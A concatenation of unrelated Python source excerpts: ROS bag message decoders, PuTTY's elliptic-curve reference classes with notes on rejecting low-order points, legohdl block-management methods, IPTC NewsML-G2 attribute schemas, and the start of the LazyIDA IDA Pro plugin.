# limg = self.decoder.decode(lmsg)
# rimg = self.decoder.decode(rmsg)
# return self.on_stereo_cb(limg, rimg)
class LaserScanDecoder(Decoder):
"""
Mostly stripped from
https://github.com/ros-perception/laser_geometry/blob/indigo-devel/src/laser_geometry/laser_geometry.py
"""
def __init__(self, channel='/scan', every_k_frames=1, range_min=0.0, range_max=np.inf):
Decoder.__init__(self, channel=channel, every_k_frames=every_k_frames)
self.angle_min_ = 0.0
self.angle_max_ = 0.0
self.range_min_ = range_min
self.range_max_ = range_max
self.cos_sin_map_ = np.array([[]])
def decode(self, msg):
try:
N = len(msg.ranges)
zeros = np.zeros(shape=(N,1))
ranges = np.array(msg.ranges)
ranges[ranges < self.range_min_] = np.inf
ranges[ranges > self.range_max_] = np.inf
ranges = np.array([ranges, ranges])
if (self.cos_sin_map_.shape[1] != N or
self.angle_min_ != msg.angle_min or
self.angle_max_ != msg.angle_max):
# print("{} :: No precomputed map given. Computing one.".format(self.__class__.__name__))
self.angle_min_ = msg.angle_min
self.angle_max_ = msg.angle_max
cos_map = [np.cos(msg.angle_min + i * msg.angle_increment)
for i in range(N)]
sin_map = [np.sin(msg.angle_min + i * msg.angle_increment)
for i in range(N)]
self.cos_sin_map_ = np.array([cos_map, sin_map])
return np.hstack([(ranges * self.cos_sin_map_).T, zeros])
except Exception as e:
print(e)
class TfDecoderAndPublisher(Decoder):
"""
"""
def __init__(self, channel='/tf', every_k_frames=1):
Decoder.__init__(self, channel=channel, every_k_frames=every_k_frames)
self.pub_ = None
def decode(self, msg):
if self.pub_ is None:
self.pub_ = rospy.Publisher('/tf', TFMessage, queue_size=10, latch=True)
self.pub_.publish(msg)
return None
def NavMsgDecoder(channel, every_k_frames=1):
def odom_decode(data):
tvec, ori = data.pose.pose.position, data.pose.pose.orientation
return RigidTransform(xyzw=[ori.x,ori.y,ori.z,ori.w], tvec=[tvec.x,tvec.y,tvec.z])
return Decoder(channel=channel, every_k_frames=every_k_frames, decode_cb=lambda data: odom_decode(data))
def PoseStampedMsgDecoder(channel, every_k_frames=1):
def odom_decode(data):
tvec, ori = data.pose.position, data.pose.orientation
return RigidTransform(xyzw=[ori.x,ori.y,ori.z,ori.w], tvec=[tvec.x,tvec.y,tvec.z])
return Decoder(channel=channel, every_k_frames=every_k_frames, decode_cb=lambda data: odom_decode(data))
class ROSBagReader(LogReader):
def __init__(self, filename, decoder=None, start_idx=0, every_k_frames=1, max_length=None, index=False, verbose=False):
super(ROSBagReader, self).__init__(filename, decoder=decoder, start_idx=start_idx,
every_k_frames=every_k_frames, max_length=max_length, index=index, verbose=verbose)
if self.start_idx < 0 or self.start_idx > 100:
raise ValueError('start_idx in ROSBagReader expects a percentage [0,100], provided {:}'.format(self.start_idx))
# TF relations
self.relations_map_ = {}
print('-' * 120 + '\n{:}\n'.format(self.log) + '-' * 120)
# # Gazebo states (if available)
# self._publish_gazebo_states()
def close(self):
print('{} :: Closing log file {}'.format(self.__class__.__name__, self.filename))
self.log.close()
def __del__(self):
self.log.close()
# def _publish_gazebo_states(self):
# """
# Perform a one-time publish of all the gazebo states
# (available via /gazebo/link_states, /gazebo/model_states)
# """
# from gazebo_msgs.msg import LinkStates
# from gazebo_msgs.msg import ModelStates
# self.gt_poses = []
# # Assuming the index of the model state does not change
# ind = None
# print('Publish Gazebo states')
# for self.idx, (channel, msg, t) in enumerate(self.log.read_messages(topics='/gazebo/model_states')):
# if ind is None:
# for j, name in enumerate(msg.name):
# if name == 'mobile_base':
# ind = j
# break
# pose = msg.pose[ind]
# tvec, ori = pose.position, pose.orientation
# self.gt_poses.append(RigidTransform(xyzw=[ori.x,ori.y,ori.z,ori.w], tvec=[tvec.x,tvec.y,tvec.z]))
# print('Finished publishing gazebo states {:}'.format(len(self.gt_poses)))
def length(self, topic):
info = self.log.get_type_and_topic_info()
return info.topics[topic].message_count
def load_log(self, filename):
st = time.time()
print('{} :: Loading ROSBag {} ...'.format(self.__class__.__name__, filename))
bag = rosbag.Bag(filename, 'r', chunk_threshold=10 * 1024 * 1024)
print('{} :: Done loading {} in {:5.2f} seconds'.format(self.__class__.__name__, filename, time.time() - st))
return bag
def tf(self, from_tf, to_tf):
try:
return self.relations_map_[(from_tf, to_tf)]
except:
raise KeyError('Relations map does not contain {:}=>{:} tranformation'.format(from_tf, to_tf))
def establish_tfs(self, relations):
"""
Perform a one-time look up of all the requested
*static* relations between frames (available via /tf)
"""
# Init node and tf listener
rospy.init_node(self.__class__.__name__, disable_signals=True)
tf_listener = tf.TransformListener()
# Create tf decoder
tf_dec = TfDecoderAndPublisher(channel='/tf')
# Establish tf relations
print('{} :: Establishing tfs from ROSBag'.format(self.__class__.__name__))
for self.idx, (channel, msg, t) in enumerate(self.log.read_messages(topics='/tf')):
tf_dec.decode(msg)
for (from_tf, to_tf) in relations:
# If the relations have been added already, skip
if (from_tf, to_tf) in self.relations_map_:
continue
# Check if the frames exist yet
if not tf_listener.frameExists(from_tf) or not tf_listener.frameExists(to_tf):
continue
# Retrieve the transform with common time
try:
tcommon = tf_listener.getLatestCommonTime(from_tf, to_tf)
(trans,rot) = tf_listener.lookupTransform(from_tf, to_tf, tcommon)
self.relations_map_[(from_tf,to_tf)] = RigidTransform(tvec=trans, xyzw=rot)
# print('\tSuccessfully received transform: {:} => {:} {:}'
# .format(from_tf, to_tf, self.relations_map_[(from_tf,to_tf)]))
except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException) as e:
# print e
pass
# Finish up once we've established all the requested tfs
if len(self.relations_map_) == len(relations):
break
try:
tfs = [self.relations_map_[(from_tf,to_tf)] for (from_tf, to_tf) in relations]
for (from_tf, to_tf) in relations:
print('\tSuccessfully received transform:\n\t\t {:} => {:} {:}'
.format(from_tf, to_tf, self.relations_map_[(from_tf,to_tf)]))
except:
raise RuntimeError('Error concerning tf lookup')
print('{} :: Established {:} relations\n'.format(self.__class__.__name__, len(tfs)))
return tfs
def calib(self, channels):
assert(isinstance(channels, list))
return self.retrieve_camera_calibration(channels)
def retrieve_tf_relations(self, relations):
"""
Perform a one-time look up of all the
*static* relations between frames (available via /tf)
and check if the expected relations hold
Channel => frame_id
"""
# if not isinstance(relations, map):
| |
<reponame>splumb/PuTTY
import sys
import numbers
import itertools
assert sys.version_info[:2] >= (3,0), "This is Python 3 code"
from numbertheory import *
class AffinePoint(object):
"""Base class for points on an elliptic curve."""
def __init__(self, curve, *args):
self.curve = curve
if len(args) == 0:
self.infinite = True
self.x = self.y = None
else:
assert len(args) == 2
self.infinite = False
self.x = ModP(self.curve.p, args[0])
self.y = ModP(self.curve.p, args[1])
self.check_equation()
def __neg__(self):
if self.infinite:
return self
return type(self)(self.curve, self.x, -self.y)
def __mul__(self, rhs):
if not isinstance(rhs, numbers.Integral):
raise ValueError("Elliptic curve points can only be multiplied by integers")
P = self
if rhs < 0:
rhs = -rhs
P = -P
toret = self.curve.point()
n = 1
nP = P
while rhs != 0:
if rhs & n:
rhs -= n
toret += nP
n += n
nP += nP
return toret
def __rmul__(self, rhs):
return self * rhs
def __sub__(self, rhs):
return self + (-rhs)
def __rsub__(self, rhs):
return (-self) + rhs
def __str__(self):
if self.infinite:
return "inf"
else:
return "({},{})".format(self.x, self.y)
def __repr__(self):
if self.infinite:
args = ""
else:
args = ", {}, {}".format(self.x, self.y)
return "{}.Point({}{})".format(type(self.curve).__name__,
self.curve, args)
def __eq__(self, rhs):
if self.infinite or rhs.infinite:
return self.infinite and rhs.infinite
return (self.x, self.y) == (rhs.x, rhs.y)
def __ne__(self, rhs):
return not (self == rhs)
def __lt__(self, rhs):
raise ValueError("Elliptic curve points have no ordering")
def __le__(self, rhs):
raise ValueError("Elliptic curve points have no ordering")
def __gt__(self, rhs):
raise ValueError("Elliptic curve points have no ordering")
def __ge__(self, rhs):
raise ValueError("Elliptic curve points have no ordering")
def __hash__(self):
if self.infinite:
return hash((True,))
else:
return hash((False, self.x, self.y))
class CurveBase(object):
def point(self, *args):
return self.Point(self, *args)
class WeierstrassCurve(CurveBase):
class Point(AffinePoint):
def check_equation(self):
assert (self.y*self.y ==
self.x*self.x*self.x +
self.curve.a*self.x + self.curve.b)
def __add__(self, rhs):
if self.infinite:
return rhs
if rhs.infinite:
return self
if self.x == rhs.x and self.y != rhs.y:
return self.curve.point()
x1, x2, y1, y2 = self.x, rhs.x, self.y, rhs.y
xdiff = x2-x1
if xdiff != 0:
slope = (y2-y1) / xdiff
else:
assert y1 == y2
slope = (3*x1*x1 + self.curve.a) / (2*y1)
xp = slope*slope - x1 - x2
yp = -(y1 + slope * (xp-x1))
return self.curve.point(xp, yp)
def __init__(self, p, a, b):
self.p = p
self.a = ModP(p, a)
self.b = ModP(p, b)
def cpoint(self, x, yparity=0):
if not hasattr(self, 'sqrtmodp'):
self.sqrtmodp = RootModP(2, self.p)
rhs = x**3 + self.a.n * x + self.b.n
y = self.sqrtmodp.root(rhs)
if (y - yparity) % 2:
y = -y
return self.point(x, y)
def __repr__(self):
return "{}(0x{:x}, {}, {})".format(
type(self).__name__, self.p, self.a, self.b)
class MontgomeryCurve(CurveBase):
class Point(AffinePoint):
def check_equation(self):
assert (self.curve.b*self.y*self.y ==
self.x*self.x*self.x +
self.curve.a*self.x*self.x + self.x)
def __add__(self, rhs):
if self.infinite:
return rhs
if rhs.infinite:
return self
if self.x == rhs.x and self.y != rhs.y:
return self.curve.point()
x1, x2, y1, y2 = self.x, rhs.x, self.y, rhs.y
xdiff = x2-x1
if xdiff != 0:
slope = (y2-y1) / xdiff
elif y1 != 0:
assert y1 == y2
slope = (3*x1*x1 + 2*self.curve.a*x1 + 1) / (2*self.curve.b*y1)
else:
# If y1 was 0 as well, then we must have found an
# order-2 point that doubles to the identity.
return self.curve.point()
xp = self.curve.b*slope*slope - self.curve.a - x1 - x2
yp = -(y1 + slope * (xp-x1))
return self.curve.point(xp, yp)
def __init__(self, p, a, b):
self.p = p
self.a = ModP(p, a)
self.b = ModP(p, b)
def cpoint(self, x, yparity=0):
if not hasattr(self, 'sqrtmodp'):
self.sqrtmodp = RootModP(2, self.p)
rhs = (x**3 + self.a.n * x**2 + x) / self.b
y = self.sqrtmodp.root(int(rhs))
if (y - yparity) % 2:
y = -y
return self.point(x, y)
def __repr__(self):
return "{}(0x{:x}, {}, {})".format(
type(self).__name__, self.p, self.a, self.b)
class TwistedEdwardsCurve(CurveBase):
class Point(AffinePoint):
def check_equation(self):
x2, y2 = self.x*self.x, self.y*self.y
assert (self.curve.a*x2 + y2 == 1 + self.curve.d*x2*y2)
def __neg__(self):
return type(self)(self.curve, -self.x, self.y)
def __add__(self, rhs):
x1, x2, y1, y2 = self.x, rhs.x, self.y, rhs.y
x1y2, y1x2, y1y2, x1x2 = x1*y2, y1*x2, y1*y2, x1*x2
dxxyy = self.curve.d*x1x2*y1y2
return self.curve.point((x1y2+y1x2)/(1+dxxyy),
(y1y2-self.curve.a*x1x2)/(1-dxxyy))
def __init__(self, p, d, a):
self.p = p
self.d = ModP(p, d)
self.a = ModP(p, a)
def point(self, *args):
# This curve form represents the identity using finite
# numbers, so it doesn't need the special infinity flag.
# Detect a no-argument call to point() and substitute the pair
# of integers that gives the identity.
if len(args) == 0:
args = [0, 1]
return super(TwistedEdwardsCurve, self).point(*args)
def cpoint(self, y, xparity=0):
if not hasattr(self, 'sqrtmodp'):
self.sqrtmodp = RootModP(self.p)
y = ModP(self.p, y)
y2 = y**2
radicand = (y2 - 1) / (self.d * y2 - self.a)
x = self.sqrtmodp.root(radicand.n)
if (x - xparity) % 2:
x = -x
return self.point(x, y)
def __repr__(self):
return "{}(0x{:x}, {}, {})".format(
type(self).__name__, self.p, self.d, self.a)
def find_montgomery_power2_order_x_values(p, a):
# Find points on a Montgomery elliptic curve that have order a
# power of 2.
#
# Motivation: both Curve25519 and Curve448 are abelian groups
# whose overall order is a large prime times a small factor of 2.
# The approved base point of each curve generates a cyclic
# subgroup whose order is the large prime. Outside that cyclic
# subgroup there are many other points that have large prime
# order, plus just a handful that have tiny order. If one of the
# latter is presented to you as a Diffie-Hellman public value,
# nothing useful is going to happen, and RFC 7748 says we should
# outlaw those values. And any actual attempt to outlaw them is
# going to need to know what they are, either to check for each
# one directly, or to use them as test cases for some other
# approach.
#
# In a group of order p 2^k, an obvious way to search for points
# with order dividing 2^k is to generate random group elements and
# raise them to the power p. That guarantees that you end up with
# _something_ with order dividing 2^k (even if it's boringly the
# identity). And you also know from theory how many such points
# you expect to exist, so you can count the distinct ones you've
# found, and stop once you've got the right number.
#
# But that isn't actually good enough to find all the public
# values that are problematic! The reason why not is that in
# Montgomery key exchange we don't actually use a full elliptic
# curve point: we only use its x-coordinate. And the formulae for
# doubling and differential addition on x-coordinates can accept
# some values that don't correspond to group elements _at all_
# without detecting any error - and some of those nonsense x
# coordinates can also behave like low-order points.
#
# (For example, the x-coordinate -1 in Curve25519 is such a value.
# The reference ECC code in this module will raise an exception if
# you call curve25519.cpoint(-1): it corresponds to no valid point
# at all. But if you feed it into the doubling formula _anyway_,
# it doubles to the valid curve point with x-coord 0, which in
# turn doubles to the curve identity. Bang.)
#
# So we use an alternative approach which discards the group
# theory of the actual elliptic curve, and focuses purely on the
# doubling formula as an algebraic transformation on Z_p. Our
# question is: what values of x have the property that if you
# iterate the doubling map you eventually end up dividing by zero?
# To answer that, we must solve cubics and quartics mod p, via the
# code in numbertheory.py for doing so.
E = EquationSolverModP(p)
def viableSolutions(it):
for x in it:
try:
yield int(x)
except ValueError:
pass # some field-extension element that isn't a real value
def valuesDoublingTo(y):
# The doubling formula for a Montgomery curve point given only
# by x | |
#input all title components into metadata
if(exists == False):
M,L,N,_ = Block.snapTitle(title)
self.setMeta('vendor', M)
self.setMeta('library', L)
self.setMeta('name', N)
pass
#create a git repository if DNE
if(Git.isValidRepo(self.getPath()) == False):
self._repo = Git(self.getPath())
#perform safety measurements
self.secureMeta()
#check if trying to configure the remote for not already initialized block
if(remote != None and already_valid == False):
#set the remote URL
if(fork == False):
self._repo.setRemoteURL(remote)
#update metadata if successfully set the url
self.setMeta("remote", self._repo.getRemoteURL())
#clear the remote url from this repository
else:
self._repo.setRemoteURL('', force=True)
#update metadata if successfully cleared the url
self.setMeta("remote", self._repo.getRemoteURL())
pass
#check if trying to configure the summary
if(summary != None):
self.setMeta("summary", summary)
self.save(force=True)
#if not previously already valid, add and commit all changes
if(already_valid == False):
if(hasattr(self, "_repo") == False):
self._repo = Git(self.getPath())
self._repo.add('.')
self._repo.commit('Initializes legohdl block')
self._repo.push()
#operation was successful
return True
def fillPlaceholders(self, path, template_val, extra_placeholders=[]):
'''
Replace all placeholders in a given file.
Parameters:
path (str): the file path who's data to be transformed
template_val (str): the value to replace the word "template"
extra_placeholders ([(str, str)]]): additional placeholders to find/replace
Returns:
success (bool): determine if operation was successful
'''
#make sure the file path exists
if(os.path.isfile(path) == False):
log.error(path+" does not exist.")
return False
placeholders = self.getPlaceholders(template_val)
#go through file and update with special placeholders
fdata = []
with open(path, 'r') as rf:
lines = rf.readlines()
for l in lines:
for ph in placeholders:
#print(ph[0], ph[1])
l = l.replace(ph[0], ph[1])
fdata.append(l)
rf.close()
#write new lines
with open(path, 'w') as wf:
for line in fdata:
wf.write(line)
wf.close()
#replace all file name if contains the word 'TEMPLATE'
#get the file name
base_path,fname = os.path.split(path)
#replace 'template' in file name
fname_new = fname.replace('TEMPLATE', template_val)
if(fname != fname_new):
os.rename(base_path+"/"+fname, base_path+"/"+fname_new)
#operation was successful
return True
@classmethod
def validTitle(cls, title):
'''
Checks if the given title is valid; i.e. it has a least a library and
name, and it is not already taken.
Parameters:
title (str): M.L.N.V format
Returns:
valid (bool): determine if the title can be used
'''
valid = True
M,L,N,V = Block.snapTitle(title)
if(valid and N == ''):
log.error("Block must have a name component.")
valid = False
if(valid and L == ''):
log.error("Block must have a library component.")
valid = False
return valid
def getMeta(self, key=None, every=False, sect='block'):
'''
Returns the value stored in the block metadata's requested key.
If the key DNE, then it retuns None.
Returns a (list) for 'requires', 'vhdl-units', 'vlog-units', and 'versions' key under sect='block'.
Parameters:
key (str): the case-sensitive key to the cfg dictionary
all (bool): return entire dictionary
sect (str): the cfg header that key belongs to in the dictionary
Returns:
val (str): the value behind the corresponding key
'''
#return everything, even things outside the block: scope
if(every):
return self._meta._data #note: returns obj reference
#return an entire section
if(key == None):
return self._meta.get(sect, dtype=Section)
#auto-cast requirements to list
dtype = list if(sect == 'block' and (key == 'requires' or key == 'vhdl-units' or key == 'vlog-units' or key == 'versions')) else str
#access the key
return self._meta.get(sect+'.'+key, dtype=dtype)
def setMeta(self, key, value, sect='block'):
'''
Updates the block metatdata dictionary. If the key does not exist,
one will be created.
Parameters:
key (str): key within sect that covers the value in dictionary
value (str): value to be at location key
sect (str): the cfg section header that key belongs to
Returns:
None
'''
self._meta.set(sect+'.'+key, value)
pass
def isValid(self):
'''Returns true if the requested project folder is a valid block.'''
return os.path.isfile(self.getMetaFile())
def getMetaFile(self):
'''Return the path to the marker file.'''
return self.getPath()+apt.MARKER
def getRequiresCode(self):
'''Returns a (str) representing how this block was used.'''
if(self.getLvl() == Block.Level.DNLD):
return 'unstable'
elif(self.getLvl() == Block.Level.INSTL):
return 'latest'
elif(self.getLvl() == Block.Level.VER):
#extract partial version
path,partial = os.path.split(self.getPath()[:len(self.getPath())-1])
return partial
else:
return 'v'+self.getVersion()
def getPlaceholders(self, tmp_val):
'''
Returns a dictionary of placeholders and their values.
Parameters:
tmp_val (str): value for "TEMPLATE" placeholder
Returns:
([(str, str)]): placeholders and their respective values in tuples
'''
#determine the date
today = date.today().strftime("%B %d, %Y")
phs = [
("TEMPLATE", tmp_val), \
("%DATE%", today), \
("%AUTHOR%", apt.getAuthor())
]
if(hasattr(self, "_meta")):
phs += [
("%BLOCK%", self.getFull())
]
#get placeholders from settings (one-level section)
custom_phs = apt.CFG.get('placeholders', dtype=Section)
for ph in custom_phs.values():
#ensure no '%' first exist
ph._name = ph._name.replace('%','')
#add to list of placeholders
phs += [('%'+ph._name.upper()+'%', ph._val)]
#print(phs)
return phs
def openInEditor(self):
'''Opens this block with the configured text-editor.'''
log.info("Opening "+self.getTitle_old()+" at... "+self.getPath())
apt.execute(apt.getEditor(), self.getPath())
pass
def isCorrupt(self, ver, disp_err='installed'):
'''
Determines if the given block's requested version/state is corrupted
or can be used.
If disp_err is an empty str, it will not print an errory message.
Parameters:
ver (str): version under test in proper format (v0.0.0)
disp_err (str): the requested command that cannot be fulfilled
Returns:
corrupt (bool): if the metadata is invalid for a release point
'''
corrupt = False
if(self.isValid() == False):
corrupt = True
else:
#check all required fields are in metadata
for f in Block.REQ_KEYS:
if(f not in self._meta.get('block', dtype=Section).keys()):
log.error("Missing required metadata key: "+f)
corrupt = True
break
elif((f == 'name' or f == 'library') and self.getMeta(f) == ''):
log.error("Cannot have empty metadata key: "+f)
corrupt = True
break
pass
#ensure the latest tag matches the version found in metadata (valid release)
if(not corrupt and ver[1:] != self.getVersion()):
corrupt = True
if(len(disp_err) and corrupt):
log.error("Block's version "+ver+" is corrupted and cannot be "+disp_err+".")
return corrupt
def installReqs(self, tracking=[]):
'''
Recursive method to install all required blocks.
Parameters:
tracking ([string]): list of already installed requirements
Returns:
None
'''
if(len(tracking) == 0):
log.info("Collecting requirements...")
for title in self.getMeta('requires'):
#skip blocks already identified for installation
if(title.lower() in tracking):
continue
#update what blocks have been identified for installation
tracking += [title.lower()]
#break titles into discrete sections
#print(title)
M,L,N,V = Block.snapTitle(title)
#snap version
at_sym = V.find('@')
spec_ver = V[at_sym+1:]
v_ref = V[:at_sym-1].split('-')
V = spec_ver
#print(v_ref)
#get the block associated with the title
b = self.getWorkspace().shortcut(M+'.'+L+'.'+N, visibility=False)
#check if the block was found in the current workspace
if(b == None):
log.error("Missing block requirement "+title+".")
continue
#recursively install requirements
b.installReqs(tracking)
#check if an installation already exists
instllr = b.getLvlBlock(Block.Level.INSTL)
#install main cache block
if(instllr == None):
instllr = b.install()
#check what versions are already installed
ready_vers = instllr.getInstalls()
#cross-compare against what version constraints are required by the design to avoid unnecessary installs
all_here = True
for temp_ver in v_ref:
#latest exists as it was installed if previously DNE
if(temp_ver.lower() == 'latest'):
log.info("Found "+b.getFull()+"(@"+temp_ver+") already satisfied as v"+instllr.getVersion()+".")
continue
#missing a used version and must fill the gap
if(temp_ver not in ready_vers.keys()):
all_here = False
log.info("Missing "+b.getFull()+"(@"+temp_ver+"). Using "+V+" to satisfy constraint.")
#the version constraint was found using a specific version
else:
log.info("Found "+b.getFull()+"(@"+temp_ver+") already satisfied as v"+ready_vers[temp_ver].getVersion()+".")
pass
#install specific version block to cache if a constraint was missing
if(all_here == False):
instllr.install(ver=V)
else:
pass
pass
pass
def install(self, ver=None):
'''
Installs this block to the cache.
If the block has DNLD or AVAIL status, it will install the
'latest'/main cache block. If the block has INSTL status, it will install
the version according to the 'ver' parameter. Returns None if failed.
If the block's latest is asking to be installed and it is behind (already
installed), this method will act as an update to get the latest version
up-to-date.
Parameters:
ver (str): a valid version format
Returns:
(Block): the newly installed block.
'''
#determine if looking to install main cache block
if(self.getLvl() == Block.Level.DNLD or \
self.getLvl() == Block.Level.AVAIL):
log.info("Installing latest version v"+self.getVersion()+" for "+self.getFull()+" to cache...")
#if a remote is available clone to tmp directory
rem = self.getMeta('remote')
if(Git.isValidRepo(rem, remote=True)):
Git(apt.TMP, clone=rem)
#else clone the downloaded block to tmp directory
elif(self.getLvl() == Block.Level.DNLD):
Git(apt.TMP, clone=self.getPath())
else:
log.error("Cannot access block's repository.")
return None
#get block's latest release point
tmp_block = | |
entire lifecycle.
'id': {
'xml_name': 'id',
'xml_type': 'xs:ID'
},
# If the attribute is empty, specifies which entity (person,
# organisation or system) will edit the property - expressed by a QCode.
# If the attribute is non-empty, specifies which entity (person,
# organisation or system) has edited the property.
'creator': {
'xml_name': 'creator',
'xml_type': 'QCodeType'
},
# If the attribute is empty, specifies which entity (person,
# organisation or system) will edit the property - expressed by a URI.
# If the attribute is non-empty, specifies which entity (person,
# organisation or system) has edited the property.
'creatoruri': {
'xml_name': 'creatoruri',
'xml_type': 'IRIType'
},
# The date (and, optionally, the time) when the property was last
# modified. The initial value is the date (and, optionally, the time) of
# creation of the property.
'modified': {
'xml_name': 'modified',
'xml_type': 'DateOptTimeType'
},
# If set to true the corresponding property was added to the G2 Item for
# a specific customer or group of customers only. The default value of
# this property is false which applies when this attribute is not used
# with the property.
'custom': {
'xml_name': 'custom',
'xml_type': 'xs:boolean'
},
# Indicates by which means the value was extracted from the content -
# expressed by a QCode
'how': {
'xml_name': 'how',
'xml_type': 'QCodeType'
},
# Indicates by which means the value was extracted from the content -
# expressed by a URI
'howuri': {
'xml_name': 'howuri',
'xml_type': 'IRIType'
},
# Why the metadata has been included - expressed by a QCode
'why': {
'xml_name': 'why',
'xml_type': 'QCodeType'
},
# Why the metadata has been included - expressed by a URI
'whyuri': {
'xml_name': 'whyuri',
'xml_type': 'IRIType'
},
# The specific rendition of content this component represents -
# expressed by a QCode
'rendition': {
'xml_name': 'rendition',
'xml_type': 'QCodeType'
},
# The specific rendition of content this component represents -
# expressed by a URI
'renditionuri': {
'xml_name': 'renditionuri',
'xml_type': 'IRIType'
},
# The name and version of the software tool used to generate the content
'generator': {
'xml_name': 'generator',
'xml_type': 'xs:string'
},
# The date (and, optionally, the time) when the content was generated
'generated': {
'xml_name': 'generated',
'xml_type': 'DateOptTimeType'
},
# Indicates if the digital data of this rendition is available or not.
'hascontent': {
'xml_name': 'hascontent',
'xml_type': 'xs:boolean'
}
}
class NewsContentTypeAttributes(BaseObject):
"""
A group of attributes representing a content type
"""
attributes = {
# An IANA MIME type
'contenttype': {
'xml_name': 'contenttype',
'xml_type': 'xs:string'
},
# Version of the standard identified by contenttype.
'contenttypestandardversion': {
'xml_name': 'contenttypestandardversion',
'xml_type': 'xs:string'
},
# A refinement of a generic content type (i.e. IANA MIME type) by a literal string value.
'contenttypevariant': {
'xml_name': 'contenttypevariant',
'xml_type': 'xs:string'
},
# Version of the standard identified by contenttypevariant.
'contenttypevariantstandardversion': {
'xml_name': 'contenttypevariantstandardversion',
'xml_type': 'xs:string'
},
# A refinement of a generic content type (i.e. IANA MIME type) - expressed by a QCode
'format': {
'xml_name': 'format',
'xml_type': 'QCodeType'
},
# A refinement of a generic content type (i.e. IANA MIME type) - expressed by a URI
'formaturi': {
'xml_name': 'formaturi',
'xml_type': 'IRIType'
},
# Version of the standard identified by the format.
'formatstandardversion': {
'xml_name': 'formatstandardversion',
'xml_type': 'xs:string'
}
}
class MediaContentCharacteristics1(BaseObject):
"""
A group of typical physical characteristics of media content
"""
attributes = {
# The width of visual content.
'width': {
'xml_name': 'width',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# If present defines the width unit for the width - expressed by a QCode
'widthunit': {
'xml_name': 'widthunit',
'xml_type': 'QCodeType',
'use': 'optional'
},
# If present defines the width unit for the width - expressed by a URI
'widthunituri': {
'xml_name': 'widthunituri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The height of visual content.
'height': {
'xml_name': 'height',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# If present defines the height unit for the heigth - expressed by a QCode
'heightunit': {
'xml_name': 'heightunit',
'xml_type': 'QCodeType',
'use': 'optional'
},
# If present defines the height unit for the heigth - expressed by a URI
'heightunituri': {
'xml_name': 'heightunituri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The orientation of the visual content of an image in regard to the
# standard rendition of the digital image data. Values in the range of
# 1 to 8 are compatible with the TIFF 6.0 and Exif 2.3 specifications.
# Applies to image content.
'orientation': {
'xml_name': 'orientation',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# Indicates whether the human interpretation of the top of the image is
# aligned to its short or long side - expressed by a QCode
'layoutorientation': {
'xml_name': 'layoutorientation',
'xml_type': 'QCodeType',
'use': 'optional'
},
# Indicates whether the human interpretation of the top of the image is
# aligned to its short or long side - expressed by a URI
'layoutorientationuri': {
'xml_name': 'layoutorientationuri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The colour space of an image. Applies to image icons - expressed by a QCode
'colourspace': {
'xml_name': 'colourspace',
'xml_type': 'QCodeType',
'use': 'optional'
},
# The colour space of an image. Applies to image icons - expressed by a URI
'colourspaceuri': {
'xml_name': 'colourspaceuri',
'xml_type': 'IRIType',
'use': 'optional'
},
# Indicates whether the still or moving image is coloured or black and
# white. The recommended vocabulary is the IPTC Colour Indicator
# NewsCodes http://cv.iptc.org/newscodes/colourindicator/ - expressed
# by a QCode
'colourindicator': {
'xml_name': 'colourindicator',
'xml_type': 'QCodeType',
'use': 'optional'
},
# Indicates whether the still or moving image is coloured or black and
# white. The recommended vocabulary is the IPTC Colour Indicator
# NewsCodes http://cv.iptc.org/newscodes/colourindicator/ - expressed
# by a URI
'colourindicatoruri': {
'xml_name': 'colourindicatoruri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The applicable codec for video data. Applies to video icons -
# expressed by a QCode
'videocodec': {
'xml_name': 'videocodec',
'xml_type': 'QCodeType',
'use': 'optional'
},
# The applicable codec for video data. Applies to video icons -
# expressed by a URI
'videocodecuri': {
'xml_name': 'videocodecuri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The bit depth defining the spread of colour data within each sample.
'colourdepth': {
'xml_name': 'colourdepth',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
}
}
class NewsContentCharacteristics(BaseObject):
"""
A group of typical physical characteristics of media content
"""
attributes = {
# The count of characters of textual content.
'charcount': {
'xml_name': 'charcount',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# The count of words of textual content.
'wordcount': {
'xml_name': 'wordcount',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# The count of lines of textual content
'linecount': {
'xml_name': 'linecount',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# The count of pages of the content
'pagecount': {
'xml_name': 'pagecount',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# The image width for visual content.
'width': {
'xml_name': 'width',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# If present defines the width unit for the width - expressed by a QCode
'widthunit': {
'xml_name': 'widthunit',
'xml_type': 'QCodeType',
'use': 'optional'
},
# If present defines the width unit for the width - expressed by a URI
'widthunituri': {
'xml_name': 'widthunituri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The height of visual content.
'height': {
'xml_name': 'height',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# If present defines the height unit for the heigth - expressed by a QCode
'heightunit': {
'xml_name': 'heightunit',
'xml_type': 'QCodeType',
'use': 'optional'
},
# If present defines the height unit for the heigth - expressed by a URI
'heightunituri': {
'xml_name': 'heightunituri',
'xml_type': 'IRIType',
'use': 'optional'
},
# The orientation of the visual content of an image in regard to the
# standard rendition of the digital image data
'orientation': {
'xml_name': 'orientation',
'xml_type': 'xs:nonNegativeInteger',
'use': 'optional'
},
# Indicates whether the human interpretation of the top of the image is
# aligned to its short or long side - expressed by a QCode
'layoutorientation': {
'xml_name': 'layoutorientation',
'xml_type': 'QCodeType',
'use': 'optional'
| |
from __future__ import division
from __future__ import print_function
from struct import unpack
import idaapi
import idautils
import idc
from PyQt5.Qt import QApplication
ACTION_CONVERT = ["lazyida:convert%d" % i for i in range(10)]
ACTION_SCANVUL = "lazyida:scanvul"
ACTION_COPYEA = "lazyida:copyea"
ACTION_GOTOCLIP = "lazyida:gotoclip"
ACTION_XORDATA = "lazyida:xordata"
ACTION_FILLNOP = "lazyida:fillnop"
ACTION_HX_REMOVERETTYPE = "lazyida:hx_removerettype"
ACTION_HX_COPYEA = "lazyida:hx_copyea"
